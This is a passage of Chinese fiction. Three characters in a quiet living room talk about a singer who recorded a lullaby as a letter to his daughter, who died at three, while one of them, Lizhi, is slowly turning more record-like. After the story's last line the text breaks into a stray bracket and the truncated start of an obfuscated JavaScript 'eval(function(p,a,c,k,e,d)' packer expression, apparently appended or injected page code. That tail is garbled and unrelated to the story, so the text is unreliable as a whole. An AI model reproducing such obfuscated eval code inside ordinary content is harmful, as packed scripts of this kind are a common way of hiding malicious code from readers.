沈鹿栖的笔还拿在手里，笔尖悬在纸面上方。
"想起什么了？"
"他写这首歌的时候。"梨枝的手指在膝盖上画圈，一圈一圈的，像唱片在转，"在录音棚里录了三十七遍。每一遍都不满意。"
荞麦把脸从水盆旁边挪开，站起来，走到餐桌旁边。
"第三十八遍的时候，他三岁的女儿跑进来了。"梨枝的声音沙沙的，底噪比以前重了很多，像唱片被播放了太多次，沟槽都磨浅了，"站在话筒前面，对着他笑。"
客厅很安静。只有冰箱的嗡嗡声和梨枝的声音。
"他就那样录完了。一遍过。"
荞麦凑过来，趴在桌面上，下巴搁在胳膊上。"那他女儿呢？"
梨枝看了她一眼。
那个眼神里有一种东西碎掉了。碎得很安静，不像玻璃碎了那么响，像唱片上多了一道裂纹，裂纹很细，不仔细看看不出来，但唱针走到那里的时候会跳一下。
"三岁就生病走了。"
客厅又安静了。
冰箱嗡嗡地响。水盆里的纸页碎片在水面上慢慢转着，字迹已经完全看不清了，变成了一团灰糊糊的东西。
"所以他把所有的思念都灌进了这张唱片里。"沈鹿栖把乐谱从水里捞出来，放在纸巾上吸水。纸巾很快被洇湿了，一圈一圈的水渍往外扩，"他录的不是摇篮曲，是给女儿的信。"
梨枝没说话。她低头看着自己的手。手指的纹路比以前更像唱片沟槽了，一圈一圈的，密密麻麻的，比荞麦的更深，更清晰。
"我以前一直以为，他录这首歌是给别人听的。"梨枝的声音沙沙的，"原来他一直在哄一个已经不在的人睡觉。"
荞麦伸手碰了碰梨枝的手指。梨枝没缩回去。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c